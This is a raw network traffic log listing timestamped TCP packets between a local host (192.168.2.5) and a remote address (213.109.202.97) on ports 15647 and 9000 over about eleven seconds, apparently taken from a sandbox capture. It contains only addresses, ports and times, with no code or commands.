Oct 19, 2024 03:37:16.168726921 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:16.172307014 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:16.181871891 CEST	9000	49706	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:16.225498915 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:16.225523949 CEST	49706	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:16.273111105 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:16.288220882 CEST	49706	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:16.288669109 CEST	49708	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:16.293430090 CEST	9000	49706	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:16.293493032 CEST	49706	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:16.294514894 CEST	9000	49708	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:16.294583082 CEST	49708	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:16.294681072 CEST	49708	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:16.300438881 CEST	9000	49708	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:16.316685915 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:16.366139889 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:16.382352114 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:16.430510044 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:16.430562019 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:16.475533962 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:16.492666006 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:16.497674942 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:16.502291918 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:16.553632021 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:16.574789047 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:16.602891922 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:16.650357962 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:16.710493088 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:16.715478897 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:16.759375095 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:16.803653002 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:16.819936991 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:16.824898958 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:16.869560957 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:16.903774023 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:16.903858900 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:16.929543018 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:16.935870886 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:17.014077902 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:17.038554907 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:17.043611050 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:17.148422003 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:17.153373957 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:17.170995951 CEST	9000	49708	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:17.197557926 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:17.225522041 CEST	49708	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:17.241154909 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:17.259197950 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:17.264295101 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:17.288305998 CEST	49708	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:17.288609982 CEST	49711	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:17.293514013 CEST	9000	49711	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:17.293544054 CEST	9000	49708	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:17.293580055 CEST	49711	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:17.293608904 CEST	49708	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:17.293705940 CEST	49711	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:17.298506975 CEST	9000	49711	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:17.305231094 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:17.350532055 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:17.366731882 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:17.371639013 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:17.396090031 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:17.444278955 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:17.449619055 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:17.476820946 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:17.522352934 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:17.540508986 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:17.584913015 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:17.586364985 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:17.591202974 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:17.685674906 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:17.741209030 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:17.748410940 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:17.753381014 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:17.829375982 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:17.881800890 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:17.950122118 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:17.955110073 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:18.014512062 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:18.069298029 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:18.159121990 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:18.164354086 CEST	9000	49711	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:18.182025909 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:18.187269926 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:18.209919930 CEST	49711	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:18.303272009 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:18.313837051 CEST	49711	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:18.314644098 CEST	49713	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:18.315237999 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:18.319361925 CEST	9000	49711	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:18.319472075 CEST	49711	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:18.319674015 CEST	9000	49713	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:18.319896936 CEST	49713	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:18.320228100 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:18.320262909 CEST	49713	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:18.325145006 CEST	9000	49713	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:18.429294109 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:18.434436083 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:18.450027943 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:18.491182089 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:18.538876057 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:18.586344004 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:18.635231018 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:18.649422884 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:18.654300928 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:18.758279085 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:18.763309956 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:18.779608011 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:18.819300890 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:18.868710041 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:18.914469957 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:18.916027069 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:18.959944963 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:18.979382038 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:19.137586117 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:19.137675047 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:19.137820005 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:19.137849092 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:19.137872934 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:19.138079882 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:19.142817974 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:19.178687096 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:19.192869902 CEST	9000	49713	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:19.195153952 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:19.200021982 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:19.241225004 CEST	49713	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:19.245104074 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:19.288127899 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:19.304884911 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:19.305051088 CEST	49716	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:19.309804916 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:19.309914112 CEST	9000	49716	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:19.309998035 CEST	49716	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:19.310204983 CEST	49716	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:19.314982891 CEST	9000	49716	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:19.401045084 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:19.414046049 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:19.418953896 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:19.461651087 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:19.507070065 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:19.523760080 CEST	49713	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:19.525464058 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:19.530430079 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:19.571382046 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:19.617116928 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:19.636522055 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:19.641418934 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:19.648030996 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:19.695549965 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:19.716080904 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:19.742113113 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:19.790349007 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:19.851516008 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:19.856491089 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:19.901112080 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:19.947669029 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:19.963681936 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:19.968698978 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:20.008877993 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:20.053726912 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:20.070769072 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:20.075753927 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:20.181715012 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:20.188657045 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:20.294024944 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:20.299065113 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:20.409379959 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:20.414871931 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:20.453941107 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:20.506845951 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:20.548242092 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:20.593859911 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:20.647454977 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:20.690740108 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:20.738204002 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:20.788117886 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:20.839076996 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:20.890399933 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:20.958281994 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:21.006856918 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:21.102427959 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:21.147475004 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:21.287380934 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:21.334964037 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:21.499408007 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:21.504338026 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:21.630542994 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:21.635472059 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:21.746531963 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:21.752127886 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:21.767869949 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:21.819463015 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:21.851501942 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:21.898375034 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:21.912329912 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:21.960011959 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:21.960783958 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:21.965632915 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:22.057146072 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:22.071331978 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:22.077013016 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:22.180819988 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:22.187896013 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:22.201150894 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:22.241314888 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:22.288732052 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:22.338366032 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:22.338656902 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:22.381858110 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:22.386493921 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:22.398163080 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:22.403243065 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:22.483160973 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:22.508531094 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:22.513600111 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:22.616939068 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:22.622106075 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:22.665414095 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:22.710206032 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:22.726294994 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:22.937462091 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:22.937572956 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:22.937724113 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:22.937807083 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:22.937836885 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:22.937864065 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:22.943188906 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:22.945043087 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:22.949940920 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:23.054327011 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:23.059400082 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:23.164252996 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:23.169743061 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:23.273381948 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:23.278444052 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:23.382658005 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:23.387624979 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:23.502321959 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:23.507340908 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:23.617209911 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:23.622320890 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:23.626238108 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:23.678745031 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:23.726665020 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:23.770486116 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:23.819463968 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:23.835845947 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:23.882407904 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:23.883766890 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:23.928786039 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:23.946710110 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:23.951687098 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:23.955358028 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:24.006890059 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:24.075401068 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:24.122481108 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:24.224239111 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:24.229100943 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:24.343122005 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:24.348052979 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:24.735495090 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:24.740494013 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:24.851916075 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:24.857347012 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:24.962333918 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:24.967232943 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:25.070517063 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:25.075495958 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:25.181102037 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:25.186172009 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:25.289124012 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:25.294090033 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:25.398448944 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:25.403422117 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:25.507659912 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:25.512525082 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:25.516484976 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:25.569546938 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:25.618321896 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:25.670567036 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:25.726820946 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:25.732043028 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:25.810870886 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:25.838063002 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:25.842909098 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:25.948539019 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:25.953371048 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:26.054725885 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:26.059779882 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:26.164097071 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:26.169164896 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:26.274777889 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:26.279836893 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:26.382734060 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:26.387868881 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:26.493180037 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:26.498126984 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:26.601569891 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:26.606631994 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:26.711234093 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:26.716476917 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:26.820084095 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:26.824945927 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:26.931891918 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:26.936942101 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:26.985135078 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:27.038274050 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:27.039091110 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:27.044115067 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:27.150044918 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:27.155071020 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:27.258080959 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:27.263128042 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:27.367146015 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:27.372077942 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:27.476702929 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:27.481739998 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:27.516098976 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:27.561583042 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:27.561711073 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:27.585867882 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:27.634491920 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:27.660307884 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:27.696291924 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:27.708148003 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:27.804811954 CEST	9000	49716	213.109.202.97	192.168.2.5
